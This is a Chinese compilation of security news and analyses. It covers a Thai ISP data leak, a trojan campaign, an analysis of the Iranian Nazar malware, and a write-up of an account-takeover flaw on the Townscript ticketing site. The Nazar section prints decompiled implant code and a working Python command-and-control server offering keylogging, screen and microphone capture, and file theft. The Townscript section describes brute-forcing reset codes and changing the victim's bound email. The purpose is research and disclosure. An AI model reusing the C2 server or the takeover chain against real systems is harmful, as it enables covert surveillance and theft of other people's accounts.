最近,研究人员发现,泰国移动网络运营商AIS的子公司,泄漏了大约83亿条用户的互联网记录。这个数据库在2020年5月1日首次被公开,大约3周时间里,数据库以每天两亿的速度显著增长。通过泄露的数据查询DNS记录,就能看到每个IP访问的地址,能轻易建立起一个人的用户画像,让许多人的网络隐私暴露到了公共场合。该研究人员在发现数据库后多次联系AIS未果,后又找到泰国国家CERT团队,成功确保了数据库的安全。 

15904759943182.jpg

360百度联合行动 追踪打击“双枪”恶意木马

近期,域名异常监测系统DNSMon捕捉到到一起域名异常活动,在分析样本后发现:这是一起双枪恶意程序团伙发起的大规模活动,感染规模超过10w。“双枪”木马是针对windows系统的大规模恶意木马,主要通过网络共享诱饵应用程序进行分发,诱导用户安装包含恶意代码的网游私服客户端,从而感染用户设备。在过去的两个星期中,360与百度合作进行联合行动,对该恶意代码的传播进行追踪打击。在此提醒广大观众,不要随意点击陌生链接或者下载未知的应用程序,避免感染恶意木马,沦为“肉鸡”。 

15906380867364.png

* 本文作者:willhuang,FreeBuf视频组荣誉出品,转载须注明来自FreeBuf.COM

6:22 AM 11/7/2012 conficker still on target

6:18 AM 11/7/2012 checking logs – we are clean

8:16 PM 7/2/2012 – BOOM!, got the callback

这些是方程组(NSA)在攻击目标系统留下的记录,后来被Shadow Brokers泄露。 最近,安全研究员透露了一个先前被错误识别且未知的威胁组织Nazar,本文将对Nazar组件进行深入分析。

事件背景

影子经纪人泄漏的数据使众多漏洞(例如EternalBlue)成为众人关注的焦点,但其中还包含了许多更有价值的组件,这些组件显示了Equation Group在发动攻击之前采取的一些预防措施。

image.png例如,在泄漏文件中名为“ drv_list.txt”的文件,其中包含驱动程序名称列表和相应的注释,如果在目标系统上找到了驱动程序,则会将信息发送给攻击者。 

image.png列表中还包含恶意驱动程序的名称,如果找到这些恶意驱动程序,表明目标系统已经被其他人破坏,然后警告攻击者“撤回”。负责此类检查的关键组件名为“Territorial Dispute”或者“TeDi”。

image.png“ TeDi”包含45个签名,可在目标系统中搜索与其他威胁组织关联的注册表项和文件名。与安全扫描不同,攻击者最终目的是确保自身操作不会受到干扰,其他攻击者不会检测到他们的工具。

image.png

在某些情况下,防止自身操作不会干扰“友好”威胁组的运行,也不会同时攻击同一目标。

image.png

安全研究员指出,“ TeDi”中的第37个签名是寻找名为“ Godown.dll”的文件,它指向的就是伊朗威胁组织“Nazar”。

image.png

执行流程

Nazar在2008年左右开始活动,可能与第‘TeDi’第37个签名相关,它负责检测Nazar工具插件“ Godown.dll”。 

image.pngNazar执行的初始二进制文件是gpUpdates.exe。 它是由“ Zip 2 Secure EXE”创建的自解压文档(SFX)。 执行后,gpUpdates将三个文件写入磁盘:Data.bin,info和Distribute.exe, 然后gpUpdates.exe将启动Distribute.exe。

Distribute.exe

首先,Distribute.exe将读取info和Data.bin。 Data.bin是一个二进制Blob,其中包含多个PE文件。info文件非常小,其中包含一个简单的结构,该结构表示Data.bin中PE文件的长度。 Distribute.exe将按文件长度的顺序逐个读取Data.bin。下表显示了Data.bin文件与info写入长度的关系。

image.png之后Distribute.exe使用regsv***将3个DLL文件写入注册表中。

image.png

使用CreateServiceA将svchost.exe添加为名为“ EYService”的服务,启动该服务并退出。 该服务是攻击的主要部分,协调Nazar调用模块。

image.png

通信分析

服务执行后,首先设置数据包嗅探。

DWORD __stdcall main_thread(LPVOID lpThreadParameter)
{
  HANDLE hMgr; // edi
  HANDLE hCfg; // esi
  HANDLE hFtr; // edi

  hMgr = MgrCreate();
  MgrInitialize(hMgr);
  hCfg = MgrGetFirstAdapterCfg(hMgr);
  do
  {
    if ( !AdpCfgGetAccessibleState(hCfg) )
      break;
    hCfg = MgrGetNextAdapterCfg(hMgr, hCfg);
  }
  while ( hCfg );
  ADP_struct = AdpCreate();
  AdpSetConfig(ADP_struct, hCfg);
  if ( !AdpOpenAdapter(ADP_struct) )
  {
    AdpGetConnectStatus(ADP_struct);
    MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg);
    adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
    AdpCfgGetMACAddress(hCfg, &mac_address, 6);
    hFtr = BpfCreate();
    BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u);         //  Get Protocol field value
    BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP
    BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF);
    BpfAddCmd(hFtr, BPF_RET, 0);
    AdpSetUserFilter(ADP_struct, hFtr);
    AdpSetUserFilterActive(ADP_struct, 1);
    AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0);
    AdpSetMacFilter(ADP_struct, 2);
    while ( 1 )
    {
      if ( stop_and_ping == 1 )
      {
        adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
        connection_method(2);
        stop_and_ping = 0;
      }
      Sleep(1000u);
    }
  }
  return 0;
}

每当UDP数据包到达时,无论是否存在响应,都会记录其源IP以用于下一个响应。 然后检查数据包的目标端口,如果是1234,则将数据将转发到命令处理器。

int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id)
{
  int length; // edi

  length = HIBYTE(udp_packet->length) - 8;
  ntohs(udp_packet->src_port);
  if ( ntohs(udp_packet->dst_port) != 1234 )
    return 0;
  commandDispatcher(&udp_packet[1], src_ip, ip_id, length);
  return 1;
}

数据响应

每个响应都会从头开始构建数据包,响应分为3种类型:

1、发送ACK:目标端口4000,有效负载101; 0000

2、发送计算机信息:目标端口4000,有效负载100; <计算机名称>; <操作系统名称>

3、发送文件:通过UDP发送数据,然后是带有<size_of_file>的数据包。如果服务器将标识为0×3456的数据包发送到目标端口1234,恶意软件将使用目标端口0×5634发送响应。

image.png支持命令

下表为命令支持列表:

image.pngDll分析

Godown.dll

Godown.dll是SIG37重点关注的DLL,它是一个小型DLL,只有一个关闭计算机的功能。

Filesystem.dll

Filesystem.dll是由攻击者自己编写的模块。该模块的目的是枚举受感染系统上的驱动器,文件夹和文件,并将结果写入Drives.txt和Files.txt。

目前发现两个版本均包含PDB路径,其中提到了波斯语为Khzer(或خضر)的文件夹:

C:\\khzer\\DLLs\\DLL’s Source\\Filesystem\\Debug\\Filesystem.pdb

D:\\Khzer\\Client\\DLL’s Source\\Filesystem\\Debug\\Filesystem.pdb

两条路径之间存在一些差异,表明该模块的两个版本不是在同一环境中编译的。

image.png

hodll.dll

hodll.dll模块负责键盘记录,通过设置钩子来完成。该代码来自开源代码库,某种程度上像从互联网上复制了多个项目的代码,最终拼装在一起。

ViewScreen.dll

该DLL基于名为“ BMGLib”的开源项目,用于获取受害者计算机的屏幕截图。 

附录

IOCs

image.pngPython Server

from scapy.all import *
import struct
import socket
import hexdump
import argparse
DST_PORT = 1234
# 4000 is the usual port without sending files, but we use it for everything, because why not?
SERVER_PORT = 4000
# We want to make sure the ID has the little endian of it
ID = struct.unpack('>H',struct.pack('<H',4000))[0]
def get_response(sock, should_loop):
    started = False
    total_payload = b''
    while(should_loop or not started):
        try:
            payload, client_address = sock.recvfrom(4096)
        except ConnectionResetError:
                payload, client_address = sock.recvfrom(4096)
        
        total_payload += payload
        # Good enough stop condition
        if (len(payload) >= 4
            and payload[:3] == b'---'
            and payload[4] >= ord('0')
            and payload[4] <= ord('9')):
            should_loop = False
        started = True
    hexdump.hexdump(total_payload)
MENU = """Welcome to NAZAR. Please choose:
          999 - Get a ping from the victim.
          555 - Get information on the victim's machine.
          311 - Start keylogging (312 to disable).
          139 - Shutdown victim's machine.
          189 - Screenshot (313 to disable).
          119 - Record audio from Microphone (315 to disable).
          199 - List drives.
          200 - List recursivley from directory*.
          201 - Send a file*.
          209 - Remove file*.
          599 - List devices.
* (append a path, use double-backslashes)
quit to Quit,
help for this menu.
            """
def get_message():
    while True:
        curr_message = input('> ').strip()
        if 'quit' in curr_message:
            return None
        if 'help' in curr_message:
            print(MENU)
        else:
            return curr_message
def get_sock():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    server_address = '0.0.0.0'
    server = (server_address, SERVER_PORT)
    sock.bind(server)
    return sock     
def main(ip_addr):
    sock = get_sock()
    
    print(MENU)
    multi_packets = ["200","201", "119", "189", "311", "199", "599"]
    single_packets = ["999", "555"]
    all_commands = single_packets + multi_packets
    while True:
        
        curr_message = get_message()
        if not curr_message:
            break
        
        # Send message using scapy
        # Make sure the IP identification field is little endian of the port.
        sr1(
            IP(dst=ip_addr, id=ID)/
            UDP(sport=SERVER_PORT,dport=1234)/
            Raw(load=curr_message),
            verbose=0
        )
        command = curr_message[:3]
        if command not in all_commands:
            continue
        should_loop = command in multi_packets
        get_response(sock, should_loop)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="victim's IP")
    parser.add_argument('ip')
    args = parser.parse_args()
    main(args.ip)

*参考来源:checkpoint,由Kriston编译,转载请注明来自FreeBuf.COM

本文讲述了印度票务平台Townscript缺乏速率限制,以及密码重置缺陷导致的任意账户劫持漏洞。速率限制(Rate Limiting)仍是大多数Web应用不太重视的问题,但一旦与其它功能形成漏洞利用,也将会导致严重的危害影响。

漏洞发现

Townscript是一家印度在线活动票务公司,主要提供研讨会、展览、马拉松和冒险活动等项目的登记、注册和售票服务,只要用户发布活动项目,注册和购票页面就会自动生成,其于2017年被印度另一家在线票务平台BookMyShow收购。

近期,我们打算在印度国内举办名为“Letshack”的安全训练营活动,作为活动发起方,我们把该项活动的售票放到了Townscript平台。不巧的是,注册进行了一段时间之后,我就把绑定Townscript平台的邮箱密码和登录Townscript平台进行注册人员管理的密码都忘记了,糟糕!已经注册了500多人,而且活动将在数周后开始,这该如何是好!思来想去,我注册了一个新的Townscript账户打算向Townscript官方发邮件看看有何解决办法。

但之后,我想就着测试一下Townscript应用吧,看看是否存在漏洞可利用以找回我的先前账户…。说整就整,起初我想到的就是SQL注入,虽然SQL注入漏洞影响较大,但发现过程稍显复杂,我就把测试重点放到了相对简单的登录和注册页面上。

接下来,我就测试了登录页面上的“忘记密码”功能,经过一番分析之后,我发现该“忘记密码”并没有部署速率限制措施(rate limit),那是不是可以据此对其它人的账户密码来个暴力枚举呢?

我以我当前新注册的Townscript账户为例,在忘记密码功能区域输入了与该账户绑定的邮箱地址,然后点击“找回密码”,然后,我在该账户绑定的邮箱中收到了以下找回密码的链接:

可见,上述找回密码链接非常简单,其中包括了绑定账户的邮箱地址和一个code,该code是一个6位数的数字。那就用我之前账户的邮箱地址来试试吧,随便输入一个code值,用Burp来暴力枚举试试:

把6位数的构造字典拉进去就是一番枚举,但大部份响应看似都是一些404页面未找到的302响应,在我快要放弃的时候,我又检查了一下响应长度,一看,其中存在长度为391的响应:

尝试着把该响应进行转发,哇,竟然可以成功跳转到以下密码重置界面!

就这样,在密码重置功能缺乏速率限制(Rate Limit)的情况下,我通过暴力枚举重置了我之前忘记了Townscript登录密码和绑定邮箱密码的Townscript账户,成功找回了丢失的Townscript账户权限,以及其中注册的数百个参与人员信息。

但是,Townscript应用在账户设置中严禁更改用户的绑定邮箱,所以,即使根据上述密码重置漏洞劫持了受害者账户,但受害者一样还可以通过自己的绑定邮箱再次发起密码重置请求,找回账户,那对攻击者来说,这就不算真正意义上的账户劫持。

接下来,我对Townscript应用中的用户设置(edit)操作请求进行了抓包,从中发现了包含的用户绑定邮箱地址,然后我尝试对其进行了替换:

之后,竟然可以成功实现邮箱修改:

这样一来,也就是说,我可以利用密码重置缺乏速率限制+Code暴力枚举+更改用户绑定邮箱,实现真正意义上的账户劫持,只要知道对方用户的Townscript绑定邮箱,就能对其实施账户劫持。

经验总结

针对登录页面或密码重置功能可以多花点心思进行研究,尤其是对其中的参数、编码或用户属性进行测试,另外,缺乏速率限制也是当前大多数Web应用存在的问题,可以考虑用它来与其它功能进行组合利用。

*参考来源:medium,clouds 编译整理,转载请注明来自 FreeBuf.COM